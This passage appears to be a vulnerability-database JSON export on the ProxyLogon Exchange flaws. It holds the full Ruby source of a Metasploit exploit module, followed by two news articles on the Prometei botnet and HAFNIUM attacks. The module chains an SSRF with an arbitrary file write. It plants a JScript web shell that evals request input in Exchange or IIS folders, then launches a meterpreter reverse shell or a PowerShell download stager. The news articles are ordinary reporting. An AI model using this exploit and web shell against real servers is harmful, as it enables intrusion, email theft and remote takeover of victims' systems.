Comptoir Secu' and work at Zeop Entreprise)\n 'print(\"\")', # https://www.o2oxy.cn/3169.html\n 'lotusdll', # https://twitter.com/lotusdll/status/1371465073525362691\n 'Praetorian' # # Vulnerability analysis + PoC\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['CVE', '2021-27065'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'http://aka.ms/exchangevulns'],\n ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],\n [\n 'URL',\n 'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'\n ],\n ['URL', 'https://www.o2oxy.cn/3169.html'],\n ['URL', 'https://github.com/praetorian-inc/proxylogon-exploit'],\n ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',\n 'HttpClientTimeout' => 60,\n 'RPORT' => 443,\n 'SSL' => true,\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'Reliability' => [REPEATABLE_SESSION],\n 'AKA' => ['ProxyLogon']\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'A known email address for this organization']),\n OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])\n ])\n\n register_advanced_options([\n OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),\n OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),\n OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', Rex::UserAgent.session_agent])\n ])\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def execute_command(cmd, _opts = {})\n if !cmd_windows_generic?\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\"\n else\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n end\n\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @random_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@random_inputname}=#{cmd}\"\n )\n end\n\n def install_payload(exploit_info)\n # exploit_info: [server_name, sid, session, canary, oab_id]\n\n input_name = rand_text_alpha(4..8).to_s\n shell = \"http://o/#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{input_name}\\\"],\\\"unsafe\\\");}</script>\"\n data = {\n identity: {\n __type: 'Identity:ECP',\n DisplayName: (exploit_info[4][0]).to_s,\n RawIdentity: (exploit_info[4][1]).to_s\n },\n properties: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n ExternalUrl: shell.to_s\n }\n }\n }.to_json\n\n response = send_http(\n 'POST',\n \"[:[@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: exploit_info[2],\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(exploit_info[1]),\n 'msExchTargetMailbox' => patch_sid(exploit_info[1]),\n 'X-vDirObjectId' => (exploit_info[4][1]).to_s\n }\n )\n return '' if response.code != 200\n\n input_name\n end\n\n def message(msg)\n \"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\"\n end\n\n def patch_sid(sid)\n ar = sid.to_s.split('-')\n if ar[-1] != '500'\n sid = \"#{ar[0..6].join('-')}-500\"\n end\n\n sid\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def random_ssrf_id\n # https://en.wikipedia.org/wiki/2,147,483,647 (lol)\n # max. 2147483647\n rand(1941962752..2147483647)\n end\n\n def request_autodiscover(server_name)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n \"[:[@#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}\",\n data: soap_autodiscover,\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n [server, legacy_dn]\n end\n\n def request_fqdn\n ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n received = send_request_raw(\n 'method' => 'RPC_IN_DATA',\n 'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n 'headers' => {\n 'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n }\n )\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n hash = received['WWW-Authenticate'].split('NTLM ')[1]\n message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n end\n\n fail_with(Failure::NotFound, 'No Backend server was found')\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(server_name, legacy_dn, server_id)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n \"[:[@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}\",\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response.code == 200\n sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/\n\n sid = response.body.match(sid_regex).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n def request_oab(server_name, sid, session, canary)\n data = {\n filter: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n SelectedView: '',\n SelectedVDirType: 'OAB'\n }\n },\n sort: {}\n }.to_json\n\n response = send_http(\n 'POST',\n \"[:[@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: session,\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(sid),\n 'msExchTargetMailbox' => patch_sid(sid)\n }\n )\n\n if response.code == 200\n data = JSON.parse(response.body)\n data['d']['Output'].each do |oab|\n if oab['Server'].downcase == server_name.split('.')[0].downcase\n return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]\n end\n end\n end\n\n []\n end\n\n def request_proxylogon(server_name, sid)\n data = \"<r at=\\\"Negotiate\\\" ln=\\\"#{datastore['EMAIL'].split('@')[0]}\\\"><s>#{sid}</s></r>\"\n session_id = ''\n canary = ''\n\n response = send_http(\n 'POST',\n \"[:[@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}\",\n data: data,\n ctype: 'text/xml; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(sid),\n 'msExchTargetMailbox' => patch_sid(sid)\n }\n )\n if response.code == 241\n session_id = response.get_cookies.scan(/ASP\\.NET_SessionId=([\\w-]+);/).flatten[0]\n canary = response.get_cookies.scan(/msExchEcpCanary=([\\w\\-_.]+);*/).flatten[0] # coin coin coin ...\n end\n\n [session_id, canary]\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def run_cve_2021_26855\n if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n server_name = datastore['BackendServerName']\n print_status(\"Internal server name forced to: #{server_name}\")\n else\n print_status(message('Retrieving backend FQDN over RPC request'))\n server_name = request_fqdn\n print_status(\"Internal server name (#{server_name})\")\n end\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n sid = request_mapi(server_name, legacy_dn, server_id)\n print_status(\"SID: #{sid} (#{datastore['EMAIL']})\")\n\n # search oab\n sid, session, canary, oab_id = search_oab(server_name, sid)\n\n [server_name, sid, session, canary, oab_id]\n end\n\n # post-auth arbitrary file write.\n def run_cve_2021_27065(session_info)\n # set external url (and set the payload).\n print_status('Preparing the payload on the remote target')\n input_name = install_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t prepare the payload on the remote target') if input_name.empty?\n\n # reset the virtual directory (and write the payload).\n print_status('Writing the payload on the remote target')\n remote_file = write_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t write the payload on the remote target') if remote_file.empty?\n\n # wait a lot.\n i = 0\n while i < datastore['MaxWaitLoop']\n received = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(web_directory, remote_file)\n })\n if received && (received.code == 200)\n break\n end\n\n print_warning('Waiting for the payload to be available')\n sleep 5\n i += 1\n end\n fail_with(Failure::PayloadFailed, 'Could\\'t access the remote backdoor (see. ExchangePathBase option)') if received.code == 302\n\n [input_name, remote_file]\n end\n\n def search_oab(server_name, sid)\n # request cookies (session and canary)\n print_status(message('Sending ProxyLogon request'))\n\n print_status('Try to get a good msExchCanary (by patching user SID method)')\n session_id, canary = request_proxylogon(server_name, patch_sid(sid))\n if canary\n auth_session = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\"\n oab_id = request_oab(server_name, sid, auth_session, canary)\n end\n\n if oab_id.nil? || oab_id.empty?\n print_status('Try to get a good msExchCanary (without correcting the user SID)')\n session_id, canary = request_proxylogon(server_name, sid)\n if canary\n auth_session = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\"\n oab_id = request_oab(server_name, sid, auth_session, canary)\n end\n end\n\n fail_with(Failure::NotFound, 'No \\'ASP.NET_SessionId\\' was found') if session_id.nil? || session_id.empty?\n fail_with(Failure::NotFound, 'No \\'msExchEcpCanary\\' was found') if canary.nil? || canary.empty?\n fail_with(Failure::NotFound, 'No \\'OAB Id\\' was found') if oab_id.nil? || oab_id.empty?\n\n print_status(\"ASP.NET_SessionId: #{session_id}\")\n print_status(\"msExchEcpCanary: #{canary}\")\n print_status(\"OAB id: #{oab_id[1]} (#{oab_id[0]})\")\n\n return [sid, auth_session, canary, oab_id]\n end\n\n def send_http(method, ssrf, opts = {})\n ssrf = \"X-BEResource=#{ssrf};\"\n if opts[:cookie] && !opts[:cookie].empty?\n opts[:cookie] = \"#{ssrf} #{opts[:cookie]}\"\n else\n opts[:cookie] = ssrf.to_s\n end\n\n opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?\n\n request = {\n 'method' => method,\n 'uri' => @random_uri,\n 'agent' => datastore['UserAgent'],\n 'ctype' => opts[:ctype]\n }\n request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?\n request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?\n request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?\n\n received = send_request_cgi(request)\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def soap_autodiscover\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>#{datastore['EMAIL']}</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n SOAP\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n web_dir = datastore['IISWritePath'].gsub('\\\\', '/')\n else\n web_dir = datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n web_dir\n end\n\n def write_payload(exploit_info)\n # exploit_info: [server_name, sid, session, canary, oab_id]\n\n remote_file = \"#{rand_text_alpha(4..8)}.aspx\"\n if datastore['UseAlternatePath']\n remote_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n remote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\"\n else\n remote_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n remote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\"\n end\n\n data = {\n identity: {\n __type: 'Identity:ECP',\n DisplayName: (exploit_info[4][0]).to_s,\n RawIdentity: (exploit_info[4][1]).to_s\n },\n properties: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n FilePathName: remote_path.to_s\n }\n }\n }.to_json\n\n response = send_http(\n 'POST',\n \"[:[@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: exploit_info[2],\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(exploit_info[1]),\n 'msExchTargetMailbox' => patch_sid(exploit_info[1]),\n 'X-vDirObjectId' => (exploit_info[4][1]).to_s\n }\n )\n return '' if response.code != 200\n\n remote_file\n end\n\n def exploit\n @proto = (ssl ? 'https' : 'http')\n @random_uri = normalize_uri('ecp', \"#{rand_text_alpha(1..3)}.js\")\n\n print_status(message('Attempt to exploit for CVE-2021-26855'))\n exploit_info = run_cve_2021_26855\n\n print_status(message('Attempt to exploit for CVE-2021-27065'))\n shell_info = run_cve_2021_27065(exploit_info)\n\n @random_inputname = shell_info[0]\n @random_filename = shell_info[1]\n\n print_good(\"Yeeting #{datastore['PAYLOAD']} payload at #{peer}\")\n if datastore['UseAlternatePath']\n remote_file = \"#{datastore['IISBasePath']}\\\\#{datastore['IISWritePath']}\\\\#{@random_filename}\"\n else\n remote_file = \"#{datastore['ExchangeBasePath']}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\\\\#{@random_filename}\"\n end\n register_files_for_cleanup(remote_file)\n\n # trigger powa!\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n response = execute_command(\"cmd /c #{payload.encoded}\")\n\n print_warning('Dumping command output in response')\n output = response.body.split('Name :')[0]\n if output.empty?\n print_error('Empty response, no command output')\n return\n end\n print_line(output)\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_proxylogon_rce.rb", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:38:18", "description": "[](<https://thehackernews.com/images/---oICK3YQu8/YIJ50RG8cxI/AAAAAAAACWY/KkCLoHke1SsfzdcENBXnq3d4jAZlau0ggCLcBGAsYHQ/s0/malware.jpg>)\n\nAttackers are exploiting the ProxyLogon Microsoft Exchange Server flaws to co-opt vulnerable machines to a cryptocurrency botnet named Prometei, according to new research.\n\n\"Prometei exploits the recently disclosed Microsoft Exchange vulnerabilities associated with the HAFNIUM attacks to penetrate the network for malware deployment, credential harvesting and more,\" Boston-based cybersecurity firm Cybereason [said](<https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities>) in an analysis summarizing its findings.\n\nFirst documented by Cisco Talos in July 2020, [Prometei](<https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html>) is a multi-modular botnet, with the actor behind the operation employing a wide range of specially-crafted tools and known exploits such as EternalBlue and BlueKeep to harvest credentials, laterally propagate across the network and \"increase the amount of systems participating in its Monero-mining pool.\"\n\n\"Prometei has both Windows-based and Linux-Unix based versions, and it adjusts its payload based on the detected operating system, on the targeted infected machines when spreading across the network,\" Cybereason senior threat researcher Lior Rochberger said, adding it's \"built to interact with four different command-and-control (C2) servers which strengthens the botnet's infrastructure and maintains continuous communications, making it more resistant to takedowns.\"\n\nThe intrusions take advantage of the recently patched vulnerabilities in [Microsoft Exchange Servers](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) with the goal of abusing the processing power of the Windows systems to mine Monero.\n\nIn the attack sequence observed by the firm, the adversary was found exploiting Exchange server flaws CVE-2021-27065 and CVE-2021-26858 as an initial compromise vector to install the China Chopper web shell and gain backdoor ingress to the network. With this access in place, the threat actor launched PowerShell to download the initial Prometei payload from a remote server. \n\n[](<https://thehackernews.com/images/-QPt-u63tvwA/YIJ6AaW7GPI/AAAAAAAACWg/z8_YGp_eggY-c6gUKoOyrf5D3cZtnDdzwCLcBGAsYHQ/s0/malware.jpg>)\n\nRecent versions of the bot module come with backdoor capabilities that support an extensive set of commands, including an additional module called \"Microsoft Exchange Defender\" that masquerades as a legitimate Microsoft product, which likely takes care of removing other competing web shells that may be installed on the machine so that Prometei gets access to the resources necessary to mine cryptocurrency efficiently.\n\nInterestingly, newly unearthed evidence gathered from [VirusTotal](<https://www.virustotal.com/gui/file/cf542ada135ee3edcbbe7b31003192c75295c7eff0efe7593a0a0b0f792d5256/details>) [artifacts](<https://www.virustotal.com/gui/file/fdcf4887a2ace73b87d1d906b23862c0510f4719a6c159d1cde48075a987a52f/details>) has revealed that the botnet may have been around as early as May 2016, implying that the malware has constantly been evolving ever since, adding new modules and techniques to its capabilities.\n\nPrometei has been observed in a multitude of victims spanning across finance, insurance, retail, manufacturing, utilities, travel, and construction sectors, compromising networks of entities located in the U.S., U.K., and several countries in Europe, South America, and East Asia, while also explicitly avoiding infecting targets in former [Soviet bloc](<https://en.wikipedia.org/wiki/Eastern_Bloc>) countries.\n\nNot much is known about the attackers other than the fact that they are Russian speaking, with older versions of Prometei having their language code set as \"Russian.\" A separate Tor client module used to communicate with a Tor C2 server included a configuration file that's configured to avoid using several exit nodes located in Russia, Ukraine, Belarus, and Kazakhstan.\n\n\"Threat actors in the cybercrime community continue to adopt APT-like techniques and improve efficiency of their operations,\" Rochberger said. \"As observed in the recent Prometei attacks, the threat actors rode the wave of the recently discovered Microsoft Exchange vulnerabilities and exploited them in order to penetrate targeted networks.\"\n\n\"This threat poses a great risk for organizations, since the attackers have absolute control over the infected machines, and if they wish so, they can steal information, infect the endpoints with other malware or even collaborate with ransomware gangs by selling the access to the infected endpoints,\" she added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-23T07:42:00", "type": "thn", "title": "Prometei Botnet Exploiting Unpatched Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-04-23T15:00:17", "id": "THN:F2A3695D04A2484E069AC407E754A9C1", "href": "https://thehackernews.com/2021/04/prometei-botnet-exploiting-unpatched.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-AxSsNt-9gYo/YD838gSOOTI/AAAAAAAAB7Q/IuSgG26w0NU-eyKMabZMnUfb7QBDyHkUgCLcBGAsYHQ/s0/ms-exchnage.jpg>)\n\nMicrosoft has [released emergency patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server>) to address four previously undisclosed security flaws in Exchange Server that it says are being actively exploited by a new Chinese state-sponsored threat actor with the goal of perpetrating data theft.\n\nDescribing the attacks as \"limited and targeted,\" Microsoft Threat Intelligence Center (MSTIC) said the adversary used these vulnerabilities to access on-premises Exchange servers, in turn granting access to email accounts and paving the way for the installation of additional malware to facilitate long-term access to victim environments.\n\nThe tech giant primarily attributed the campaign with high confidence to a threat actor it calls HAFNIUM, a state-sponsored hacker collective operating out of China, although it suspects other groups may also be involved.\n\nDiscussing the tactics, techniques, and procedures (TTPs) of the group for the first time, Microsoft paints HAFNIUM as a \"highly skilled and sophisticated actor\" that mainly singles out entities in the U.S. for exfiltrating sensitive information from an array of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks and NGOs.\n\nHAFNIUM is believed to orchestrate its attacks by leveraging leased virtual private servers in the U.S. in an attempt to cloak its malicious activity.\n\nThe three-stage attack involves gaining access to an Exchange Server either with stolen passwords or by using previously undiscovered vulnerabilities, followed by deploying a web shell to control the compromised server remotely. The last link in the attack chain makes use of remote access to plunder mailboxes from an organization's network and export the collected data to file sharing sites like MEGA.\n\nTo achieve this, as many as [four zero-day vulnerabilities](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) discovered by researchers from Volexity and Dubex are used as part of the attack chain \u2014\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>): A server-side request forgery (SSRF) vulnerability in Exchange Server\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>): An insecure deserialization vulnerability in the Unified Messaging service\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>): A post-authentication arbitrary file write vulnerability in Exchange, and\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>): A post-authentication arbitrary file write vulnerability in Exchange\n\nAlthough the vulnerabilities impact Microsoft Exchange Server 2013, Microsoft Exchange Server 2016, and Microsoft Exchange Server 2019, Microsoft said it's updating Exchange Server 2010 for \"Defense in Depth\" purposes.\n\n[](<https://thehackernews.com/images/-_eUnJYSlv7A/YD86dcga76I/AAAAAAAAB7Y/Ex1kb11XGtcD6b878ASeDzA-SFz8SSzNgCLcBGAsYHQ/s0/ms.jpg>)\n\nFurthermore, since the initial attack requires an untrusted connection to Exchange server port 443, the company notes that organizations can mitigate the issue by restricting untrusted connections or by using a VPN to separate the Exchange server from external access.\n\nMicrosoft, besides stressing that the exploits were not connected to the SolarWinds-related breaches, said it has briefed appropriate U.S. government agencies about the new wave of attacks. But the company didn't elaborate on how many organizations were targeted and whether the attacks were successful.\n\nStating that the intrusion campaigns appeared to have started around January 6, 2021, Volexity cautioned it has detected active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal email and compromise networks.\n\n\"While the attackers appear to have initially flown largely under the radar by simply stealing emails, they recently pivoted to launching exploits to gain a foothold,\" Volexity researchers Josh Grunzweig, Matthew Meltzer, Sean Koessel, Steven Adair, and Thomas Lancaster [explained](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) in a write-up.\n\n\"From Volexity's perspective, this exploitation appears to involve multiple operators using a wide variety of tools and methods for dumping credentials, moving laterally, and further backdooring systems.\"\n\nAside from the patches, Microsoft Senior Threat Intelligence Analyst Kevin Beaumont has also [created](<https://twitter.com/GossiTheDog/status/1366858907671552005>) a [nmap plugin](<https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange.nse>) that can be used to scan a network for potentially vulnerable Microsoft Exchange servers.\n\nGiven the severity of the flaws, it's no surprise that patches have been rolled out a week ahead of the company's Patch Tuesday schedule, which is typically reserved for the second Tuesday of each month. Customers using a vulnerable version of Exchange Server are recommended to install the updates immediately to thwart these attacks.\n\n\"Even though we've worked quickly to deploy an update for the Hafnium exploits, we know that many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems,\" Microsoft's Corporate Vice President of Customer Security, Tom Burt, [said](<https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/>). \"Promptly applying today's patches is the best protection against this attack.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 